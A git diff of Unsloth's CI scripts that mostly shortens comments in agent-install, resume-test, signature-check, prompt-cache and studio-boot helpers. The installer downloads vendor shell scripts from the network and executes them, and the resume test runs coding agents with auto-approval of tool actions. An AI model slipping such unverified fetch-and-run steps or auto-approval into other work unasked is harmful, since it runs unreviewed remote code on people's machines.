- # whether the turn left a session in a persistent store (deterministic, no
- # reliance on the model recalling anything), for a baseline pass and a
- # --persist pass, and assert the expected split for this agent.
+ # resume: drives the real launch path and checks whether a session persists, with and without --persist.
resume)
CODEWORD="PLATYPUS7"
T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
T2="What codeword did I ask you to remember? Reply with just that word."
WORK="$WORKDIR_BASE/${AGENT}-resume"
- # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
- # Read it from a --no-launch probe (which also writes the agent's config
- # there). codex/pi relocate their whole home/HOME here; opencode/claude keep
- # their session data in a fixed user dir, so STABLE_HOME stays empty for them.
+ # opencode/claude keep sessions in a fixed user dir, so STABLE_HOME stays empty for them.
parse_connect
case "$AGENT" in
codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;;
@@ -785,9 +552,7 @@ case "$MODE" in
*) STABLE_HOME="" ;;
esac
- # The persistent stores a session would land in if it were NOT wiped. We
- # count files here before/after each turn; a positive delta means the
- # session persisted (is resumable), zero means it went to a wiped temp dir.
+ # A positive file-count delta here means the session persisted.
resume_tracked_dirs() {
case "$AGENT" in
codex) printf '%s\n' "$HOME/.codex" ;;
@@ -807,8 +572,6 @@ case "$MODE" in
echo "$total"
}
- # The headless first-turn subcommand per agent (mirrors file-edit's map),
- # forwarded verbatim through the launch path as passthrough args.
set_t1_cmd() {
case "$AGENT" in
claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
@@ -819,9 +582,6 @@ case "$MODE" in
esac
}
- # Run one headless turn through the launch path. $1=outfile, $2="" or
- # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
- # prompt can hang; --api-key attaches to the already-served CI model.
launch_turn() {
local out="$1" rflag="$2"; shift 2
local flag=(); [ -n "$rflag" ] && flag=("$rflag")
@@ -829,17 +589,12 @@ case "$MODE" in
--api-key "$UNSLOTH_API_KEY" "$@"
local rc=$?
redact "$out"
- # Unlike connection/file-edit there is no assertion that can rescue a
- # partial turn here: RESULT is a session-store delta, and a half-written
- # store would read as a bogus PERSISTED/WIPED. Keep a hang fatal.
+ # A partial turn cannot be judged from a session-store delta, so a hang is fatal.
[ "${TIMED_OUT:-0}" = 1 ] && guide_fail "invoke timed out after ${TIMEOUT}s; a resume pass cannot be judged from a partial turn"
return "$rc"
}
- # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
- # from the session-store delta. Runs in the main shell (not a command
- # substitution) so a hang's guide_fail actually fails the job and the
- # progress lines reach the CI log. $1 = "" (baseline) or "--persist".
+ # Runs in the main shell, not a substitution, so guide_fail actually fails the job.
RESULT=""
run_pass() {
local rflag="$1" label="baseline"
@@ -854,27 +609,19 @@ case "$MODE" in
popd >/dev/null || true
after="$(count_session_files)"
echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
- # The turn must succeed for the delta to mean anything: an agent that writes a
- # session file then errors would otherwise be misread as PERSISTED. Mirror the
- # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
- # below stays WARN-only, driven by its own launch_turn calls).
+ # The turn must succeed, or a written-then-errored session reads as PERSISTED.
[ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
}
run_pass ""; BASELINE="$RESULT"
- # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
- # opencode/claude persist either way, so the baseline already proves it and a
- # second full CPU turn only risks a timeout; skip it for them.
case "$AGENT" in
codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
*) RESUME="n/a (persists either way)" ;;
esac
- # Expected: codex/pi relocate their whole home to the temp dir, so a plain
- # launch is WIPED and only --persist PERSISTS. opencode/claude keep their
- # session data in a fixed user dir, so the baseline already PERSISTS.
+ # codex/pi: plain launch is WIPED, only --persist persists. opencode/claude persist either way.
case "$AGENT" in
codex|pi) EXPECT_BASELINE="WIPED" ;;
opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
@@ -894,10 +641,7 @@ case "$MODE" in
|| guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
esac
- # Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
- # resume the session and check the model actually recalls the codeword. A
- # miss is not a failure (the CI model is small); the mechanism gate above is
- # the real assertion.
+ # codex recall check is WARN-only; the mechanism gate above is the real assertion.
if [ "$AGENT" = "codex" ]; then
rm -rf "$WORK"; mkdir -p "$WORK"
( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh
index 4e6ffc80124..f34aef7822b 100755
--- a/.github/scripts/agent-guides-install.sh
+++ b/.github/scripts/agent-guides-install.sh
@@ -1,14 +1,8 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Install one coding-agent CLI for the Local Agent Guides CI. Isolated as
-# failure class (b) "agent package install failed": npm/curl flakiness here
-# is the single biggest source of false reds, so installs retry with
-# backoff and the only ::error:: this script can emit is class (b). The
-# install recipes mirror the install_hint strings in
-# unsloth_cli/commands/start.py at HEAD.
+# Install one agent CLI for the Local Agent Guides CI; recipes mirror start.py's install_hint.
# Usage: agent-guides-install.sh <agent>
-# agent in: claude codex hermes openclaw opencode pi dsh vibe
set -uo pipefail
AGENT="${1:?usage: agent-guides-install.sh <agent>}"
@@ -22,8 +16,6 @@ install_fail() {
exit 1
}
-# npm registry flakiness is common in CI; retry 3x with linear backoff.
-# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
npm_retry() {
local i
for i in 1 2 3; do
@@ -36,13 +28,8 @@ npm_retry() {
return 1
}
-# An installer option written as ?--flag is one we pass only to save time, and it
-# is kept only while the downloaded installer still parses it as a case label: a
-# line that opens with it, alone or among |-joined alternatives, so a comment or
-# help text that still names a removed option does not count.
-# These installers track the vendor's main branch and treat any unknown option as
-# fatal, so a vendor dropping a nicety turned every PR red: hermes removed
-# --no-skills on 2026-09-24. Everything else is required and passed as written.
+# A `?--flag` option is optional and passed only while the installer still parses it as a case label;
+# vendors treat unknown options as fatal.
installer_args() {
local script="$1"; shift
local arg flag
@@ -60,9 +47,7 @@ installer_args() {
done
}
-# curl|bash installers, retried at the curl layer. We download to a temp file
-# first and only execute on a fully successful fetch, so a truncated download
-# (network hiccup mid-stream) can never run a half-written installer.
+# Download fully before executing so a truncated installer never runs.
curl_bash() {
local url="$1"; shift
local i tmp
@@ -72,7 +57,7 @@ curl_bash() {
for i in 1 2 3; do
if curl -fsSL --retry 3 --retry-delay 5 "$url" -o "$tmp" 2>>"$LOG"; then
args=()
- # A read loop: the bash 3.2 macOS ships has no builtin that reads lines into an array.
+ # A read loop: macOS ships bash 3.2, which lacks the array-reading builtins.
while IFS= read -r arg; do
args+=("$arg")
done < <(installer_args "$tmp" "$@")
@@ -91,13 +76,10 @@ curl_bash() {
echo "[install] agent=$AGENT (log=$LOG)"
case "$AGENT" in
claude)
- # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
- # The installer drops the binary under ~/.local/bin.
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
codex)
- # start.py install_hint: npm install -g @openai/codex
npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
;;
opencode)
@@ -115,37 +97,27 @@ case "$AGENT" in
npm_retry "$package" || install_fail "npm install -g $package failed"
;;
openclaw)
- # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
- # npm is the more deterministic path in CI and matches the agent's docs;
- # fall back to the start.py curl installer if the npm tag is missing.
+ # Prefer npm in CI; fall back to the start.py curl installer.
if ! npm_retry "openclaw@latest"; then
curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
fi
;;
hermes)
- # start.py install_hint:
- # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
--non-interactive '?--skip-setup' '?--skip-browser' '?--no-skills' \
|| install_fail "hermes installer failed"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
pi)
- # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
- # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
- # catches guide drift). The CLI moved from the now-deprecated @mariozechner
- # scope to @earendil-works (the old scope is frozen, so installing it would
- # test a stale Pi against the API).
+ # --ignore-scripts matches start.py's install_hint; the old @mariozechner scope is frozen.
npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
;;
dsh)
- # start.py install_hint: npm install -g @deepseek-ai/dsh
npm_retry "@deepseek-ai/dsh" || install_fail "npm install -g @deepseek-ai/dsh failed"
;;
vibe)
- # start.py install_hint: curl -LsSf https://mistral.ai/vibe/install.sh | PATH="$HOME/.local/bin:$PATH" bash
PATH="$HOME/.local/bin:$PATH" curl_bash "https://mistral.ai/vibe/install.sh" \
|| install_fail "vibe installer failed"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
diff --git a/.github/scripts/assert-bundle-signed.ps1 b/.github/scripts/assert-bundle-signed.ps1
index 3d425eaf5e6..040d30167d6 100644
--- a/.github/scripts/assert-bundle-signed.ps1
+++ b/.github/scripts/assert-bundle-signed.ps1
@@ -1,18 +1,14 @@
-# Fail if any executable inside a Windows bundle is unsigned. NSIS runs its
-# plugin DLLs from $PLUGINSDIR, so a signed installer proves nothing about them.
+# Fail if any PE inside a Windows bundle is unsigned. NSIS plugin DLLs are not covered by
+# the installer's own signature.
param(
- # Bundles to unpack; every PE inside is verified.
[Parameter(Mandatory = $true)][string[]] $Path,
- # 7-Zip, preinstalled on windows-latest.
[string] $SevenZip = '7z',
- # Known-unsigned leaf names to accept. Keep empty where possible.
[string[]] $Allow = @()
)
$ErrorActionPreference = 'Continue'
-# .ps1/.psm1 included: install.ps1 ships as a bundle resource and runs on first
-# launch. Authenticode covers scripts, and Smart App Control checks them.
+# Scripts included: install.ps1 runs on first launch and Smart App Control checks it.
$exeExtensions = @('.exe', '.dll', '.sys', '.ocx', '.cpl', '.scr', '.ps1', '.psm1')
$unsigned = @()
@@ -39,7 +35,7 @@ foreach ($bundle in $Path) {
$dest = Join-Path $env:RUNNER_TEMP ("sigcheck-" + [System.IO.Path]::GetFileNameWithoutExtension($name))
Remove-Item $dest -Recurse -Force -ErrorAction SilentlyContinue
& $SevenZip x -y "-o$dest" $bundle | Out-Null
- # 7-Zip leaves a partial tree behind on error, so a created dir proves nothing.
+ # 7-Zip leaves a partial tree on error, so a created dir proves nothing.
if ($LASTEXITCODE -ne 0) {
Write-Host "::error::7-Zip exited $LASTEXITCODE unpacking $name; contents not verified"
exit 1
@@ -65,7 +61,6 @@ foreach ($bundle in $Path) {
} elseif ($Allow -contains $f.Name) {
Write-Host (" ALLOWED {0} ({1}) - explicitly accepted as unsigned" -f $f.Name, $s.Status)
} else {
- # UnknownError = no signature or unbuilt chain; StatusMessage tells which.
Write-Host (" UNSIGNED {0} ({1}) {2}" -f $f.Name, $s.Status, $s.StatusMessage)
$unsigned += [pscustomobject]@{ Bundle = $name; File = $f.Name; Status = [string]$s.Status }
}
diff --git a/.github/scripts/assert-llama-loads.sh b/.github/scripts/assert-llama-loads.sh
index 341ba766315..9aa3b79dc13 100755
--- a/.github/scripts/assert-llama-loads.sh
+++ b/.github/scripts/assert-llama-loads.sh
@@ -1,10 +1,7 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests
-# the contract that matters (binaries load and their minimum-OS is <= this host)
-# instead of the old "did install.sh fall back to a source build?" grep, since a
-# source build with a correct deployment target is a valid outcome.
+# Assert the installed llama.cpp loads and runs on this macOS (min-OS <= host).
set -uo pipefail
UNSLOTH_HOME="${STUDIO_HOME:-$HOME/.unsloth}"
@@ -28,9 +25,7 @@ QUANT="$(find "$LLAMA_DIR" -type f -name 'llama-quantize' 2>/dev/null | head -1)
HOST_VER="$(sw_vers -productVersion 2>/dev/null || echo '0')"
HOST_MAJOR="${HOST_VER%%.*}"
-# Static minimum-OS check on every Mach-O we ship. vtool ships with the Xcode
-# command line tools, which GitHub macOS runners always have; if it is somehow
-# missing we skip the static check and rely on the runtime launch below.
+# vtool comes with the CLT; skip the static check if missing.
if command -v vtool >/dev/null 2>&1; then
while IFS= read -r macho; do
[ -n "$macho" ] || continue
@@ -43,26 +38,15 @@ if command -v vtool >/dev/null 2>&1; then
done < <(find "$BIN_DIR" -type f \( -name '*.dylib' -o -name 'llama-server' -o -name 'llama-quantize' \) 2>/dev/null)
fi
-# Runtime launch: --version forces dyld to load every linked dylib (including
-# libggml-metal.dylib). A missing Metal symbol or too-new binary fails here.
+# --version forces dyld to load every linked dylib.
if ! "$SERVER" --version >/tmp/llama-server-version.txt 2>&1; then
echo "---- llama-server --version output ----"
cat /tmp/llama-server-version.txt || true
fail "llama-server failed to launch on macOS $HOST_VER (dyld load / symbol error)"
fi
-# The launch above uses this shell's environment, not the one Unsloth builds for
-# its child. That one was Linux-shaped on macOS (LD_LIBRARY_PATH, which dyld
-# ignores) while the installer's own validation set DYLD_LIBRARY_PATH, so the
-# defect could not show up at install time (#8566). A unit test with a
-# monkeypatched sys.platform cannot prove the real thing; this can.
-# Resolve the interpreter from STUDIO_HOME first, not from PATH. The
-# clean-machine lane scrubs PATH down to system directories and puts the shim
-# under its own UNSLOTH_STUDIO_HOME, so `command -v unsloth` is empty there and
-# a PATH-only lookup would skip this assertion in the one lane whose whole
-# point is a clean install, while CI still reported success. The tauri delivery
-# nests its venv one level deeper (clean-machine-install-ci.yml checks
-# $HOME_DIR/studio/unsloth_studio), so both layouts are candidates.
+# Also check the env Unsloth builds for its child (it must use DYLD_LIBRARY_PATH).
+# Resolve the interpreter from STUDIO_HOME first; the clean-machine lane scrubs PATH.
STUDIO_PY=""
for candidate in \
"$UNSLOTH_HOME/unsloth_studio/bin/python" \
@@ -78,9 +62,7 @@ if [ -z "$STUDIO_PY" ]; then
[ -n "$candidate" ] && [ -x "$candidate" ] && { STUDIO_PY="$candidate"; break; }
done
fi
-# Fail rather than skip: an install that produced a llama-server but no
-# reachable interpreter is itself a broken install, and a skip here is
-# indistinguishable from a pass.
+# Fail rather than skip: a skip is indistinguishable from a pass.
[ -n "$STUDIO_PY" ] || fail "no Unsloth interpreter found under $UNSLOTH_HOME or on PATH; cannot check the launch environment"
if [ -n "$STUDIO_PY" ]; then
if ! PYTHONPATH=studio/backend "$STUDIO_PY" - "$SERVER" <<'PY'
diff --git a/.github/scripts/assert-nobuild.ps1 b/.github/scripts/assert-nobuild.ps1
index ea21b468e89..fd324ec8913 100644
--- a/.github/scripts/assert-nobuild.ps1
+++ b/.github/scripts/assert-nobuild.ps1
@@ -1,10 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# The `nobuild` contract from clean-machine-assert.sh, for Windows. A port, not
-# `shell: bash`: the scrub drops every `*\Git\*` PATH entry the bash version needs
-# sed/grep/tr/sort from, and it also runs inside the servercore container, which has no
-# bash. Both Windows lanes call this one file so the sdist allowlist cannot drift.
+# Windows port of clean-machine-assert.sh nobuild; must not need bash (PATH scrub, servercore).
# Usage: assert-nobuild.ps1 -LogPath logs/install.log (exit 1 = a source build)
[CmdletBinding()]
param([Parameter(Mandatory = $true)][string] $LogPath)
@@ -14,31 +11,22 @@ if (-not (Test-Path -LiteralPath $LogPath)) {
exit 1
}
-# "Built an sdist" is NOT "needed a compiler": each name was verified against its own
-# sdist (setuptools.build_meta, no ext_modules, no .c/.cpp/.pyx/.rs), so its PEP 517
-# build is a pure-Python copy step. clean-machine-assert.sh carries the per-name detail.
-# diffusers is here only for the `overlay: false` legs, which install the released wheel
-# and its pre-0.40.0 GitHub-archive pin; remove it once a release carries the wheel pin.
+# Pure-Python sdists; keep in sync with clean-machine-assert.sh. Drop diffusers once a release has the wheel pin.
$allow = @('openai-whisper', 'argbind', 'randomname', 'antlr4-python3-runtime', 'triton-kernels', 'diffusers')
if ($env:UNSLOTH_ALLOW_SDIST) {
$allow += ($env:UNSLOTH_ALLOW_SDIST -split '\s+' | Where-Object { $_ })
}
-# Lowercased and underscore-folded on both sides: the distribution name and the name uv
-# prints can differ on the separator (triton_kernels vs triton-kernels).
+# Normalise case and separators: uv and the dist name can differ (triton_kernels).
$allow = @($allow | ForEach-Object { $_.ToLowerInvariant() -replace '_', '-' })
-# [char]27, not "`e": that escape is PowerShell 6+ and degrades to a literal "e" under
-# 5.1, so the strip would eat real text instead of ANSI codes.
+# [char]27, not "`e", which is PS 6+ only.
$esc = [char]27
$text = (Get-Content -LiteralPath $LogPath -Raw) -replace "$esc\[[0-9;]*[A-Za-z]", ''
$built = @()
foreach ($line in ($text -split "`r?`n")) {
- # A local-path build is one the caller pointed at (the overlay), never one
- # resolution chose; index deps always print `==<version>`.
+ # A local file:// build is the overlay the caller chose, not resolution.
if ($line -imatch 'building [a-z0-9._-]+ @ file://') { continue }
- # pip prints `Building wheel for <pkg>`, uv `Building <pkg>==<ver>`
- # (astral-sh/uv#11165); the `==` / ` @ ` keeps this off the installer's own
- # "building frontend..." text.
+ # pip prints `Building wheel for <pkg>`, uv `Building <pkg>==<ver>`; `==`/` @ ` skips frontend text.
foreach ($m in [regex]::Matches($line, '(?i)building wheel for ([a-z0-9._-]+)|building ([a-z0-9._-]+)(==| @ )')) {
$name = if ($m.Groups[1].Success) { $m.Groups[1].Value } else { $m.Groups[2].Value }
$built += ($name.ToLowerInvariant() -replace '_', '-')
@@ -54,7 +42,6 @@ if ($bad.Count -gt 0) {
} else {
Write-Host "[assert] OK no non-allowlisted source build (built: $(if ($built) { $built -join ' ' } else { 'none' }))"
}
-# Independent of package names: a compiler error means a toolchain was needed.
$compilerErr = Select-String -Path $LogPath -Pattern "error: command '(cc|gcc|clang|cl)' failed", 'clang: error', 'cargo: not found', 'Microsoft Visual C\+\+ 14.0 or greater is required'
if ($compilerErr) {
Write-Host '::error::compiler invocation appears in the install log'
diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh
index 72d382d9732..159082abfa2 100755
--- a/.github/scripts/assert-prompt-cache.sh
+++ b/.github/scripts/assert-prompt-cache.sh
@@ -1,52 +1,21 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper:
-# mode=api A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 +
-# its reply, so the shared prefix must be served from llama.cpp's
-# KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0
-# on turn 2. This is the OpenAI-dialect server cache sanity.
-# WHY this works on chat completions: the chat path forwards
-# llama-server's real cached_tokens through
-# studio/backend/routes/inference.py:482-489 (_prompt_tokens_details)
-# into prompt_tokens_details (inference.py:519).
-# mode=log Read the llama-server log and decide HIT vs MISS from the
-# prompt-reprocessing trace. WHY the log (not the API field):
-# the Anthropic /v1/messages path builds AnthropicUsage(
-# input_tokens=..., output_tokens=...) at inference.py:8787-8790
-# / :8829-8832 and NEVER sets cache_read_input_tokens, which
-# therefore stays at its model default of 0
-# (studio/backend/models/inference.py:1655). So an Anthropic-path
-# client (Claude Code, OpenClaw is openai-completions but Claude
-# Code is the canonical Anthropic agent) can get a real KV-cache
-# hit that the API usage field reports as 0. The only ground
-# truth for the Anthropic path is the llama-server log.
-# Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365
-# _swa_cache_path().parent/"logs"/"llama-server"/llama-<ts>[label]-port-<P>[-try<N>].log
-# _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio
-# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.
-# <P> is the INTERNAL llama-server port (self._find_free_port(),
-# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must
-# NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`
-# glob would never match). We pick the newest llama-*.log instead.
+# Prompt-cache (KV prefix reuse) detection.
+# mode=api 2-turn chat completions probe; asserts turn-2 cached_tokens > 0.
+# mode=log classify HIT/MISS from the llama-server log, because the Anthropic path
+# never reports cache_read_input_tokens.
+# The log name uses llama.cpp's random internal port, so pick the newest llama-*.log.
# Usage:
# assert-prompt-cache.sh api BASE_URL API_KEY
-# assert-prompt-cache.sh log EXPECT # EXPECT = HIT | MISS
-# # reads MARKER_BEFORE/MARKER_AFTER
-# # byte offsets from env (see below)
-# assert-prompt-cache.sh mark # print current log size to stdout
-# # (use to bracket a turn)
-# Env for mode=log:
-# LLAMA_LOG_DIR override the log dir (default ~/.unsloth/studio/logs/llama-server)
-# CACHE_LOG_FROM byte offset to start scanning the newest log from (so we
-# only look at the trace produced by THIS turn). Default 0.
-# Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted).
+# assert-prompt-cache.sh log EXPECT # HIT | MISS; scans from CACHE_LOG_FROM bytes
+# assert-prompt-cache.sh mark # print current log size
+# Env: LLAMA_LOG_DIR overrides the log dir. Exit 0 = held, 1 = failed.
set -uo pipefail
MODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}"
-# Locate the newest llama-server log. Shared by mark + log modes.
_default_log_dir() {
local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"
if [ -n "$home" ]; then
@@ -59,16 +28,11 @@ _default_log_dir() {
_newest_log() {
local dir="${LLAMA_LOG_DIR:-$(_default_log_dir)}"
[ -d "$dir" ] || return 1
- # Newest by mtime among llama-*.log (covers both `llama-<ts>-port-<P>.log`
- # and the retry form `llama-<ts><label>-port-<P>-try<N>.log`). Filenames are
- # tool-generated timestamps, so ls -t is safe here.
# shellcheck disable=SC2012
ls -1t "$dir"/llama-*.log 2>/dev/null | head -1
}
case "$MODE" in
- # mark: emit the current byte size of the newest llama log so a caller can
- # scan only the slice a single turn produced (set CACHE_LOG_FROM to it).
mark)
log="$(_newest_log || true)"
if [ -n "$log" ] && [ -f "$log" ]; then
@@ -79,15 +43,11 @@ case "$MODE" in
exit 0
;;
- # api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0.
api)
BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
- # A deliberately long, fixed system prompt makes the shared prefix big so a
- # KV-cache hit is unambiguous (cached_tokens grows with the reused prefix).
- # Do not set a request seed: fixed seeds disable prompt caching for reproducibility.
- # This probe measures cache reuse; the server already uses --seed/--temp 0.
+ # Do not set a request seed: fixed seeds disable prompt caching.
SYS='You are a meticulous assistant. Always answer concisely and correctly. This is a fixed system preamble that exists only to create a large, identical prompt prefix across both turns so the KV cache has something substantial to reuse on the second request. Do not mention this preamble.'
turn1_body() {
@@ -146,8 +106,6 @@ case "$MODE" in
exit 0
;;
- # log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on)
- # as HIT or MISS and compare to EXPECT.
log)
EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}"
FROM="${CACHE_LOG_FROM:-0}"
@@ -159,28 +117,22 @@ case "$MODE" in
fi
echo "[cache/log] reading $log from byte $FROM"
- # Scan only the slice produced after FROM.
slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")"
- # 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal
- # per the design brief.
reused_n="$(printf '%s\n' "$slice" \
| grep -aoiE 're-?used[^0-9]*([0-9]+)' \
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
- # 2. "kv cache rm [START, end)" with START>0 => prefix [0,START) reused.
+ # "kv cache rm [START, end)" with START>0 means prefix [0,START) was reused.
cache_rm_start="$(printf '%s\n' "$slice" \
| grep -aoiE 'kv cache rm \[[0-9]+' \
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
- # 3. "n_past = N" with N>0 after a prompt-processing line (prefix kept).
n_past_n="$(printf '%s\n' "$slice" \
| grep -aoiE 'n_past[^0-9]*([0-9]+)' \
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
- # 4. tokens_cached / tokens from cache (some builds).
tok_cached="$(printf '%s\n' "$slice" \
| grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
- # Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,.
forced_full=0
if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; then
forced_full=1
@@ -195,9 +147,7 @@ case "$MODE" in
elif [ -n "$tok_cached" ] && [ "$tok_cached" -gt 0 ] 2>/dev/null; then
HIT=1; why="tokens_cached=$tok_cached"
elif [ "$forced_full" = "0" ] && [ -n "$n_past_n" ] && [ "$n_past_n" -gt 0 ] 2>/dev/null; then
- # n_past>0 is the weakest signal; only trust it if nothing forced a full
- # reprocess. (On a cold slot n_past tracks total processed, so it is a
- # last-resort fallback per the brief.)
+ # n_past>0 is the weakest signal; trust it only if nothing forced a full reprocess.
HIT=1; why="n_past=$n_past_n(fallback)"
fi
[ "$HIT" = "1" ] || why="${why:-no-reuse-markers (forced_full=$forced_full)}"
diff --git a/.github/scripts/boot-studio-api-only.sh b/.github/scripts/boot-studio-api-only.sh
index 96aa45574bb..825e2027554 100755
--- a/.github/scripts/boot-studio-api-only.sh
+++ b/.github/scripts/boot-studio-api-only.sh
@@ -1,40 +1,10 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Wipe Unsloth's auth state and boot `unsloth studio` in the background, exporting
-# the pid so a later step can stop it.
-# Usage:
-# boot-studio-api-only.sh --port 18888 [--log logs/studio.log] [--pid-var STUDIO_PID]
-# [--api-only]
-# On the name, and on --api-only being a flag rather than the default. The
-# UNSLOTH_API_ONLY=1 below reads like the switch and is not: nothing in unsloth_cli
-# takes it as input. Whether the web UI is served is decided by the CLI's --api-only
-# flag alone, and the backend only ever reads that variable back out (main.py, to pick
-# a CORS profile) after run.py has set it from the flag. So every caller here has in
-# fact been booting a server that serves the frontend, and the Playwright UI smokes
-# depend on exactly that -- passing --api-only unconditionally would leave them
-# driving a browser at a backend with no UI. Hence opt-in: callers with no built
-# `studio/frontend/dist` (mlx-ci.yml boots on a bare pip install) must ask for it, or
-# the server prints "Unsloth frontend build not found" and exits before it binds.
-# Twenty steps across eight workflows ran this same five-line body, varying only
-# in those three values. Extracted so the three easy-to-get-wrong parts have one
-# definition:
-# * `rm -rf`, not `unsloth studio reset-password`. The boot below has to re-seed
-# a fresh `.bootstrap_password`, and it only does that when the auth directory
-# is absent. A caller that "resets" instead silently keeps the old password and
-# the test then authenticates against stale state.
-# * The pid has to reach `$GITHUB_ENV`, because the step that stops the server is
-# a different step with a different shell. `$!` alone dies with the step.
-# * stdout AND stderr go to the log. The server writes its startup diagnostics to
-# stderr, so a `>` without `2>&1` produces an empty log on exactly the failure
-# a reader needs it for.
-# NOT for `unsloth run`: that is serve-unsloth-run.sh, which boots a different
-# command with a different contract (banner API key, /v1/models resolution) and
-# has nothing to share with this beyond the word "boot".
-# Deliberately does not wait for health. The callers' waits differ -- some poll
-# /api/health and stop, others go on to rotate the bootstrap password and load a
-# model in the same step -- and folding the simple case in here would leave the
-# rest calling a script that does half their work.
+# Wipe Studio auth state and boot `unsloth studio` in the background, exporting the pid.
+# Usage: boot-studio-api-only.sh --port 18888 [--log FILE] [--pid-var VAR] [--api-only]
+# --api-only is opt-in: UNSLOTH_API_ONLY does not control UI serving, and UI smokes need the UI.
+# Does not wait for health.
set -uo pipefail
@@ -55,14 +25,8 @@ done
[ -n "$PORT" ] || { echo "boot-studio-api-only.sh: --port is required" >&2; exit 2; }
-# Wipe rather than reset: the boot below re-seeds .bootstrap_password only when
-# the directory is gone. See the header.
-# Through $UNSLOTH_STUDIO_HOME, matching run-studio-permission-browser.sh and
-# run-studio-indicator-browser.sh, which have read it since #9158. This script was
-# the odd one out, hardcoding the legacy path, and that is what forced every
-# Playwright step sharing this boot to run one after another: two concurrent lanes
-# on one home race destructively, one wiping the .bootstrap_password the other just
-# minted and is about to log in with. Unset, this is byte-for-byte the old path.
+# Wipe rather than reset: the boot re-seeds .bootstrap_password only when the dir is gone.
+# Honour UNSLOTH_STUDIO_HOME so concurrent lanes do not share one home.
studio_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}"
rm -rf "$studio_home/auth"
mkdir -p "$(dirname "$LOG")"
diff --git a/.github/scripts/clean-machine-assert.sh b/.github/scripts/clean-machine-assert.sh
index dda0a95bf94..217f5a0475b 100755
--- a/.github/scripts/clean-machine-assert.sh
+++ b/.github/scripts/clean-machine-assert.sh
@@ -2,20 +2,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Assert the clean-machine contract after an install attempt.
